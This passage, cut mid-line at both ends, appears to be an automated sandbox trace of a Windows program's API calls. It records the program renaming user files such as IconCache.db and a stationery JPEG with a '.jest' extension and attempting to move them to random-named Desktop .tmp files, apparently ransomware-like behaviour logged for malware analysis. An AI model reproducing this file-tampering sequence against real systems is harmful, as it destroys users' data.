halpmcxz\\desktop\\oek0p0zhdvndlevpggvw0k-nx8b8qdiotkgciezzwlzcc3ex9cbrosigio5vjm72ovymi pvqsfutvtwv4e-h2rtgg78cbyxif8nr.tmp")) returned 0 [0128.708] GetLastError () returned 0x2 [0128.708] GetLastError () returned 0x2 [0128.708] SetLastError (dwErrCode=0x2) [0128.708] GetLastError () returned 0x2 [0128.708] SetLastError (dwErrCode=0x2) [0128.708] GetLastError () returned 0x2 [0128.708] SetLastError (dwErrCode=0x2) [0128.708] GetFullPathNameA (in: lpFileName="OEk0P0ZhdVnDleVpGgvW0k-nx8B8qdIotkGciEZZWLZCc3Ex9CbRosIgiO5Vjm72OvYmi pVqSfUTVTwv4e-h2Rtgg78cBYXiF8nR.tmp", nBufferLength=0x104, lpBuffer=0x18e81c, lpFilePart=0x18e6e4 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\OEk0P0ZhdVnDleVpGgvW0k-nx8B8qdIotkGciEZZWLZCc3Ex9CbRosIgiO5Vjm72OvYmi pVqSfUTVTwv4e-h2Rtgg78cBYXiF8nR.tmp", lpFilePart=0x18e6e4*="OEk0P0ZhdVnDleVpGgvW0k-nx8B8qdIotkGciEZZWLZCc3Ex9CbRosIgiO5Vjm72OvYmi pVqSfUTVTwv4e-h2Rtgg78cBYXiF8nR.tmp") returned 0x8f [0128.708] FindFirstFileA (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\OEk0P0ZhdVnDleVpGgvW0k-nx8B8qdIotkGciEZZWLZCc3Ex9CbRosIgiO5Vjm72OvYmi pVqSfUTVTwv4e-h2Rtgg78cBYXiF8nR.tmp", lpFindFileData=0x18e6c4 | out: lpFindFileData=0x18e6c4*(dwFileAttributes=0x18e6e4, ftCreationTime.dwLowDateTime=0x18eb48, ftCreationTime.dwHighDateTime=0x18ea3c, ftLastAccessTime.dwLowDateTime=0x18e7f4, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x72a16647, ftLastWriteTime.dwHighDateTime=0x18e81c, nFileSizeHigh=0x18e6ec, nFileSizeLow=0x18e842, dwReserved0=0x7a5901, dwReserved1=0x306b454f, cFileName="P0ZhdVnDleVpGgvW0k-nx8B8qdIotkGciEZZWLZCc3Ex9CbRosIgiO5Vjm72OvYmi pVqSfUTVTwv4e-h2Rtgg78cBYXiF8nR.tmp", cAlternateFileName="Pê\x18")) returned 0xffffffff [0128.708] GetLastError () returned 0x2 [0128.709] GetLastError () returned 0x2 [0128.709] SetLastError (dwErrCode=0x2) [0128.712] PeekMessageA (in: lpMsg=0x18eaac, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18eaac) returned 0 [0128.712] CoFreeUnusedLibraries () [0128.712] GetTickCount () returned 0x11529b0 [0128.712] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832ec0 | out: hHeap=0x3820000) returned 1 [0128.712] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831c18 | out: hHeap=0x3820000) returned 1 [0128.712] GetTickCount () returned 0x11529b0 [0128.713] IsWindowVisible (hWnd=0x30268) returned 0 [0128.713] Sleep (dwMilliseconds=0x0) [0128.725] MoveFileA (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Internet Explorer\\brndlog.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\internet explorer\\brndlog.txt"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Internet Explorer\\brndlog.txt.jest" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\internet explorer\\brndlog.txt.jest")) returned 1 [0128.728] GetFullPathNameA (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Internet Explorer\\brndlog.txt", nBufferLength=0x104, lpBuffer=0x18e7f8, lpFilePart=0x18e6d8 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Internet Explorer\\brndlog.txt", lpFilePart=0x18e6d8*="brndlog.txt") returned 0x53 [0128.728] FindFirstFileA (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Internet Explorer\\brndlog.txt", lpFindFileData=0x18e910 | out: lpFindFileData=0x18e910*(dwFileAttributes=0xd0, ftCreationTime.dwLowDateTime=0x1413658, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x1413628, ftLastAccessTime.dwHighDateTime=0x1413628, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x14c88b0, nFileSizeHigh=0x146ad80, nFileSizeLow=0x146ad80, dwReserved0=0xd1, dwReserved1=0x0, cFileName="", cAlternateFileName="¨\x14G\x01½I¢rà\x9aB\x01Hë\x18")) returned 0xffffffff [0128.728] GetLastError () returned 0x2 [0128.728] VarBstrFromR4 (in: fltIn=0x47944649, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75916.57") returned 0x0 [0128.729] PeekMessageA (in: lpMsg=0x18e98c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18e98c) returned 0 [0128.729] CoFreeUnusedLibraries () [0128.729] GetTickCount () returned 0x11529bf [0128.729] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832ec0 | out: hHeap=0x3820000) returned 1 [0128.729] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831c18 | out: hHeap=0x3820000) returned 1 [0128.729] GetTickCount () returned 0x11529bf [0128.729] IsWindowVisible (hWnd=0x30268) returned 0 [0128.729] Sleep (dwMilliseconds=0x0) [0128.730] GetFullPathNameA (in: lpFileName="UNXA9JhGiq_ITmK03548Fb2HHxFHvhoysS9lpqp5AhJL-TRN M_FInd5fjLOslR9FhCfM-DilsUsSjoi-7u9075IkQAQRNR76KtN.tmp", nBufferLength=0x104, lpBuffer=0x18e944, lpFilePart=0x18e708 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\UNXA9JhGiq_ITmK03548Fb2HHxFHvhoysS9lpqp5AhJL-TRN M_FInd5fjLOslR9FhCfM-DilsUsSjoi-7u9075IkQAQRNR76KtN.tmp", lpFilePart=0x18e708*="UNXA9JhGiq_ITmK03548Fb2HHxFHvhoysS9lpqp5AhJL-TRN M_FInd5fjLOslR9FhCfM-DilsUsSjoi-7u9075IkQAQRNR76KtN.tmp") returned 0x8e [0128.730] GetFullPathNameA (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Internet Explorer\\brndlog.txt", nBufferLength=0x104, lpBuffer=0x18e83c, lpFilePart=0x18e708 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Internet Explorer\\brndlog.txt", lpFilePart=0x18e708*="brndlog.txt") returned 0x53 [0128.730] MoveFileA (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Internet Explorer\\brndlog.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\internet explorer\\brndlog.txt"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\UNXA9JhGiq_ITmK03548Fb2HHxFHvhoysS9lpqp5AhJL-TRN M_FInd5fjLOslR9FhCfM-DilsUsSjoi-7u9075IkQAQRNR76KtN.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\unxa9jhgiq_itmk03548fb2hhxfhvhoyss9lpqp5ahjl-trn m_find5fjloslr9fhcfm-dilsussjoi-7u9075ikqaqrnr76ktn.tmp")) returned 0 [0128.730] GetLastError () returned 0x2 [0128.730] GetLastError () returned 0x2 [0128.730] SetLastError (dwErrCode=0x2) [0128.730] GetLastError () returned 0x2 [0128.730] SetLastError (dwErrCode=0x2) [0128.730] GetLastError () returned 0x2 [0128.730] SetLastError (dwErrCode=0x2) [0128.731] GetFullPathNameA (in: lpFileName="UNXA9JhGiq_ITmK03548Fb2HHxFHvhoysS9lpqp5AhJL-TRN M_FInd5fjLOslR9FhCfM-DilsUsSjoi-7u9075IkQAQRNR76KtN.tmp", nBufferLength=0x104, lpBuffer=0x18e81c, lpFilePart=0x18e6e4 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\UNXA9JhGiq_ITmK03548Fb2HHxFHvhoysS9lpqp5AhJL-TRN M_FInd5fjLOslR9FhCfM-DilsUsSjoi-7u9075IkQAQRNR76KtN.tmp", lpFilePart=0x18e6e4*="UNXA9JhGiq_ITmK03548Fb2HHxFHvhoysS9lpqp5AhJL-TRN M_FInd5fjLOslR9FhCfM-DilsUsSjoi-7u9075IkQAQRNR76KtN.tmp") returned 0x8e [0128.731] FindFirstFileA (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\UNXA9JhGiq_ITmK03548Fb2HHxFHvhoysS9lpqp5AhJL-TRN M_FInd5fjLOslR9FhCfM-DilsUsSjoi-7u9075IkQAQRNR76KtN.tmp", lpFindFileData=0x18e6c4 | out: lpFindFileData=0x18e6c4*(dwFileAttributes=0x18e6e4, ftCreationTime.dwLowDateTime=0x18eb48, ftCreationTime.dwHighDateTime=0x18ea3c, ftLastAccessTime.dwLowDateTime=0x18e7f4, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x72a16647, ftLastWriteTime.dwHighDateTime=0x18e81c, nFileSizeHigh=0x18e6ec, nFileSizeLow=0x18e842, dwReserved0=0x7a5901, dwReserved1=0x41584e55, cFileName="9JhGiq_ITmK03548Fb2HHxFHvhoysS9lpqp5AhJL-TRN M_FInd5fjLOslR9FhCfM-DilsUsSjoi-7u9075IkQAQRNR76KtN.tmp", cAlternateFileName="Pê\x18")) returned 0xffffffff [0128.731] GetLastError () returned 0x2 [0128.731] GetLastError () returned 0x2 [0128.731] SetLastError (dwErrCode=0x2) [0128.731] PeekMessageA (in: lpMsg=0x18eaac, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18eaac) returned 0 [0128.731] CoFreeUnusedLibraries () [0128.731] GetTickCount () returned 0x11529bf [0128.731] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832ec0 | out: hHeap=0x3820000) returned 1 [0128.731] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831c18 | out: hHeap=0x3820000) returned 1 [0128.731] GetTickCount () returned 0x11529bf [0128.732] IsWindowVisible (hWnd=0x30268) returned 0 [0128.732] Sleep (dwMilliseconds=0x0) [0128.749] MoveFileA (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Internet Explorer\\brndlog.bak" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\internet explorer\\brndlog.bak"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Internet Explorer\\brndlog.bak.jest" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\internet explorer\\brndlog.bak.jest")) returned 1 [0128.750] GetFullPathNameA (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Internet Explorer\\brndlog.bak", nBufferLength=0x104, lpBuffer=0x18e7f8, lpFilePart=0x18e6d8 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Internet Explorer\\brndlog.bak", lpFilePart=0x18e6d8*="brndlog.bak") returned 0x53 [0128.750] FindFirstFileA (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Internet Explorer\\brndlog.bak", lpFindFileData=0x18e910 | out: lpFindFileData=0x18e910*(dwFileAttributes=0xd0, ftCreationTime.dwLowDateTime=0x1413658, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x1413628, ftLastAccessTime.dwHighDateTime=0x1413628, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x14c88b0, nFileSizeHigh=0x146ad80, nFileSizeLow=0x146ad80, dwReserved0=0xd1, dwReserved1=0x0, cFileName="", cAlternateFileName="¨\x14G\x01½I¢rà\x9aB\x01Hë\x18")) returned 0xffffffff [0128.751] GetLastError () returned 0x2 [0128.751] VarBstrFromR4 (in: fltIn=0x4794464b, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75916.59") returned 0x0 [0128.751] PeekMessageA (in: lpMsg=0x18e98c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18e98c) returned 0 [0128.751] CoFreeUnusedLibraries () [0128.751] GetTickCount () returned 0x11529cf [0128.751] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832ec0 | out: hHeap=0x3820000) returned 1 [0128.751] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831c18 | out: hHeap=0x3820000) returned 1 [0128.751] GetTickCount () returned 0x11529cf [0128.751] IsWindowVisible (hWnd=0x30268) returned 0 [0128.752] Sleep (dwMilliseconds=0x0) [0128.752] GetFullPathNameA (in: lpFileName="HrRYc7_MvCLnmXMCHSygbyYCOy0aBKyNPr5-s1OWWHPGg-xNcocDzj2yLP1s-rnpWfvln0YT9s8gNiJzo4TgINgMp65fmwUj6LyJ.tmp", nBufferLength=0x104, lpBuffer=0x18e944, lpFilePart=0x18e708 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\HrRYc7_MvCLnmXMCHSygbyYCOy0aBKyNPr5-s1OWWHPGg-xNcocDzj2yLP1s-rnpWfvln0YT9s8gNiJzo4TgINgMp65fmwUj6LyJ.tmp", lpFilePart=0x18e708*="HrRYc7_MvCLnmXMCHSygbyYCOy0aBKyNPr5-s1OWWHPGg-xNcocDzj2yLP1s-rnpWfvln0YT9s8gNiJzo4TgINgMp65fmwUj6LyJ.tmp") returned 0x8e [0128.752] GetFullPathNameA (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Internet Explorer\\brndlog.bak", nBufferLength=0x104, lpBuffer=0x18e83c, lpFilePart=0x18e708 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Internet Explorer\\brndlog.bak", lpFilePart=0x18e708*="brndlog.bak") returned 0x53 [0128.753] MoveFileA (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Internet Explorer\\brndlog.bak" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\internet explorer\\brndlog.bak"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\HrRYc7_MvCLnmXMCHSygbyYCOy0aBKyNPr5-s1OWWHPGg-xNcocDzj2yLP1s-rnpWfvln0YT9s8gNiJzo4TgINgMp65fmwUj6LyJ.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\hrryc7_mvclnmxmchsygbyycoy0abkynpr5-s1owwhpgg-xncocdzj2ylp1s-rnpwfvln0yt9s8gnijzo4tgingmp65fmwuj6lyj.tmp")) returned 0 [0128.753] GetLastError () returned 0x2 [0128.753] GetLastError () returned 0x2 [0128.753] SetLastError (dwErrCode=0x2) [0128.753] GetLastError () returned 0x2 [0128.753] SetLastError (dwErrCode=0x2) [0128.753] GetLastError () returned 0x2 [0128.753] SetLastError (dwErrCode=0x2) [0128.753] GetFullPathNameA (in: lpFileName="HrRYc7_MvCLnmXMCHSygbyYCOy0aBKyNPr5-s1OWWHPGg-xNcocDzj2yLP1s-rnpWfvln0YT9s8gNiJzo4TgINgMp65fmwUj6LyJ.tmp", nBufferLength=0x104, lpBuffer=0x18e81c, lpFilePart=0x18e6e4 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\HrRYc7_MvCLnmXMCHSygbyYCOy0aBKyNPr5-s1OWWHPGg-xNcocDzj2yLP1s-rnpWfvln0YT9s8gNiJzo4TgINgMp65fmwUj6LyJ.tmp", lpFilePart=0x18e6e4*="HrRYc7_MvCLnmXMCHSygbyYCOy0aBKyNPr5-s1OWWHPGg-xNcocDzj2yLP1s-rnpWfvln0YT9s8gNiJzo4TgINgMp65fmwUj6LyJ.tmp") returned 0x8e [0128.753] FindFirstFileA (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\HrRYc7_MvCLnmXMCHSygbyYCOy0aBKyNPr5-s1OWWHPGg-xNcocDzj2yLP1s-rnpWfvln0YT9s8gNiJzo4TgINgMp65fmwUj6LyJ.tmp", lpFindFileData=0x18e6c4 | out: lpFindFileData=0x18e6c4*(dwFileAttributes=0x18e6e4, ftCreationTime.dwLowDateTime=0x18eb48, ftCreationTime.dwHighDateTime=0x18ea3c, ftLastAccessTime.dwLowDateTime=0x18e7f4, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x72a16647, ftLastWriteTime.dwHighDateTime=0x18e81c, nFileSizeHigh=0x18e6ec, nFileSizeLow=0x18e842, dwReserved0=0x7a5901, dwReserved1=0x59527248, cFileName="c7_MvCLnmXMCHSygbyYCOy0aBKyNPr5-s1OWWHPGg-xNcocDzj2yLP1s-rnpWfvln0YT9s8gNiJzo4TgINgMp65fmwUj6LyJ.tmp", cAlternateFileName="Pê\x18")) returned 0xffffffff [0128.754] GetLastError () returned 0x2 [0128.754] GetLastError () returned 0x2 [0128.754] SetLastError (dwErrCode=0x2) [0128.755] PeekMessageA (in: lpMsg=0x18eaac, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18eaac) returned 0 [0128.755] CoFreeUnusedLibraries () [0128.755] GetTickCount () returned 0x11529cf [0128.755] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832ec0 | out: hHeap=0x3820000) returned 1 [0128.755] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831c18 | out: hHeap=0x3820000) returned 1 [0128.755] GetTickCount () returned 0x11529cf [0128.755] IsWindowVisible (hWnd=0x30268) returned 0 [0128.755] Sleep (dwMilliseconds=0x0) [0128.756] MoveFileA (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\IconCache.db" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\iconcache.db"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\IconCache.db.jest" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\iconcache.db.jest")) returned 1 [0128.757] GetFullPathNameA (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\IconCache.db", nBufferLength=0x104, lpBuffer=0x18e7f8, lpFilePart=0x18e6d8 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\IconCache.db", lpFilePart=0x18e6d8*="IconCache.db") returned 0x38 [0128.757] FindFirstFileA (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\IconCache.db", lpFindFileData=0x18e910 | out: lpFindFileData=0x18e910*(dwFileAttributes=0xfffffffe, ftCreationTime.dwLowDateTime=0x1413658, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x1413628, ftLastAccessTime.dwHighDateTime=0x4020, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x14c88b0, nFileSizeHigh=0x146ad80, nFileSizeLow=0x0, dwReserved0=0xd1, dwReserved1=0x0, cFileName="", cAlternateFileName="¨\x14G\x01½I¢rà\x9aB\x01Hë\x18")) returned 0xffffffff [0128.758] GetLastError () returned 0x2 [0128.758] VarBstrFromR4 (in: fltIn=0x4794464d, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75916.6") returned 0x0 [0128.758] PeekMessageA (in: lpMsg=0x18e98c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18e98c) returned 0 [0128.758] CoFreeUnusedLibraries () [0128.758] GetTickCount () returned 0x11529df [0128.758] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832ec0 | out: hHeap=0x3820000) returned 1 [0128.758] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831c18 | out: hHeap=0x3820000) returned 1 [0128.758] GetTickCount () returned 0x11529df [0128.759] IsWindowVisible (hWnd=0x30268) returned 0 [0128.759] Sleep (dwMilliseconds=0x0) [0128.759] GetFullPathNameA (in: lpFileName="V946iRyT7oGGqpeJtCCDVpfeKWgne3sCQKSHxqQUSnZrz424uEeS RIa9ik_A3zYSbEZTt4SBukfg Bv1VtcOacvEsj-SIT0mhD.tmp", nBufferLength=0x104, lpBuffer=0x18e944, lpFilePart=0x18e708 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\V946iRyT7oGGqpeJtCCDVpfeKWgne3sCQKSHxqQUSnZrz424uEeS RIa9ik_A3zYSbEZTt4SBukfg Bv1VtcOacvEsj-SIT0mhD.tmp", lpFilePart=0x18e708*="V946iRyT7oGGqpeJtCCDVpfeKWgne3sCQKSHxqQUSnZrz424uEeS RIa9ik_A3zYSbEZTt4SBukfg Bv1VtcOacvEsj-SIT0mhD.tmp") returned 0x8d [0128.759] GetFullPathNameA (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\IconCache.db", nBufferLength=0x104, lpBuffer=0x18e83c, lpFilePart=0x18e708 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\IconCache.db", lpFilePart=0x18e708*="IconCache.db") returned 0x38 [0128.760] MoveFileA (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\IconCache.db" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\iconcache.db"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\V946iRyT7oGGqpeJtCCDVpfeKWgne3sCQKSHxqQUSnZrz424uEeS RIa9ik_A3zYSbEZTt4SBukfg Bv1VtcOacvEsj-SIT0mhD.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\v946iryt7oggqpejtccdvpfekwgne3scqkshxqqusnzrz424uees ria9ik_a3zysbeztt4sbukfg bv1vtcoacvesj-sit0mhd.tmp")) returned 0 [0128.760] GetLastError () returned 0x2 [0128.760] GetLastError () returned 0x2 [0128.760] SetLastError (dwErrCode=0x2) [0128.760] GetLastError () returned 0x2 [0128.760] SetLastError (dwErrCode=0x2) [0128.760] GetLastError () returned 0x2 [0128.760] SetLastError (dwErrCode=0x2) [0128.760] GetFullPathNameA (in: lpFileName="V946iRyT7oGGqpeJtCCDVpfeKWgne3sCQKSHxqQUSnZrz424uEeS RIa9ik_A3zYSbEZTt4SBukfg Bv1VtcOacvEsj-SIT0mhD.tmp", nBufferLength=0x104, lpBuffer=0x18e81c, lpFilePart=0x18e6e4 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\V946iRyT7oGGqpeJtCCDVpfeKWgne3sCQKSHxqQUSnZrz424uEeS RIa9ik_A3zYSbEZTt4SBukfg Bv1VtcOacvEsj-SIT0mhD.tmp", lpFilePart=0x18e6e4*="V946iRyT7oGGqpeJtCCDVpfeKWgne3sCQKSHxqQUSnZrz424uEeS RIa9ik_A3zYSbEZTt4SBukfg Bv1VtcOacvEsj-SIT0mhD.tmp") returned 0x8d [0128.760] FindFirstFileA (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\V946iRyT7oGGqpeJtCCDVpfeKWgne3sCQKSHxqQUSnZrz424uEeS RIa9ik_A3zYSbEZTt4SBukfg Bv1VtcOacvEsj-SIT0mhD.tmp", lpFindFileData=0x18e6c4 | out: lpFindFileData=0x18e6c4*(dwFileAttributes=0x18e6e4, ftCreationTime.dwLowDateTime=0x18eb48, ftCreationTime.dwHighDateTime=0x18ea3c, ftLastAccessTime.dwLowDateTime=0x18e7f4, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x72a16647, ftLastWriteTime.dwHighDateTime=0x18e81c, nFileSizeHigh=0x18e6ec, nFileSizeLow=0x18e842, dwReserved0=0x7a5901, dwReserved1=0x36343956, cFileName="iRyT7oGGqpeJtCCDVpfeKWgne3sCQKSHxqQUSnZrz424uEeS RIa9ik_A3zYSbEZTt4SBukfg Bv1VtcOacvEsj-SIT0mhD.tmp", cAlternateFileName="Pê\x18")) returned 0xffffffff [0128.761] GetLastError () returned 0x2 [0128.761] GetLastError () returned 0x2 [0128.761] SetLastError (dwErrCode=0x2) [0128.761] PeekMessageA (in: lpMsg=0x18eaac, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18eaac) returned 0 [0128.761] CoFreeUnusedLibraries () [0128.761] GetTickCount () returned 0x11529df [0128.761] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832ec0 | out: hHeap=0x3820000) returned 1 [0128.761] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831c18 | out: hHeap=0x3820000) returned 1 [0128.761] GetTickCount () returned 0x11529df [0128.761] IsWindowVisible (hWnd=0x30268) returned 0 [0128.761] Sleep (dwMilliseconds=0x0) [0128.766] MoveFileA (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\ShadesOfBlue.jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows mail\\stationery\\shadesofblue.jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\ShadesOfBlue.jpg.jest" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows mail\\stationery\\shadesofblue.jpg.jest")) returned 1 [0128.767] GetFullPathNameA (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\ShadesOfBlue.jpg", nBufferLength=0x104, lpBuffer=0x18e7f8, lpFilePart=0x18e6d8 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\ShadesOfBlue.jpg", lpFilePart=0x18e6d8*="ShadesOfBlue.jpg") returned 0x5e [0128.767] FindFirstFileA (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\ShadesOfBlue.jpg", lpFindFileData=0x18e910 | out: lpFindFileData=0x18e910*(dwFileAttributes=0x3d00003d, ftCreationTime.dwLowDateTime=0x1413658, ftCreationTime.dwHighDateTime=0x144ecc0, ftLastAccessTime.dwLowDateTime=0x14c88b0, ftLastAccessTime.dwHighDateTime=0x14e21e0, ftLastWriteTime.dwLowDateTime=0x1e8, ftLastWriteTime.dwHighDateTime=0x1410000, nFileSizeHigh=0x800000, nFileSizeLow=0x144ebe8, dwReserved0=0x18ea24, dwReserved1=0x77c7389e, cFileName="8\x01A\x01z8ÇwYpÍw", cAlternateFileName="¨\x14G\x01½I¢rà\x9aB\x01Hë\x18")) returned 0xffffffff [0128.767] GetLastError () returned 0x2 [0128.768] VarBstrFromR4 (in: fltIn=0x4794464d, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75916.6") returned 0x0 [0128.768] PeekMessageA (in: lpMsg=0x18e98c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18e98c) returned 0 [0128.768] CoFreeUnusedLibraries () [0128.768] GetTickCount () returned 0x11529df [0128.768] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832ec0 | out: hHeap=0x3820000) returned 1 [0128.768] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831c18 | out: hHeap=0x3820000) returned 1 [0128.768] GetTickCount () returned 0x11529df [0128.768] IsWindowVisible (hWnd=0x30268) returned 0 [0128.768] Sleep (dwMilliseconds=0x0) [0128.769] GetFullPathNameA (in: lpFileName="4_uVgfE9OkYPoA09T4huS_Nb0zwUSk3S5V4d9 x0YJo7 p2BL_95q56mWt dMjbWechZ3DX7E8q3-JZ6o_1vefMzKttFG7WKs2d_.tmp", nBufferLength=0x104, lpBuffer=0x18e944, lpFilePart=0x18e708 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\4_uVgfE9OkYPoA09T4huS_Nb0zwUSk3S5V4d9 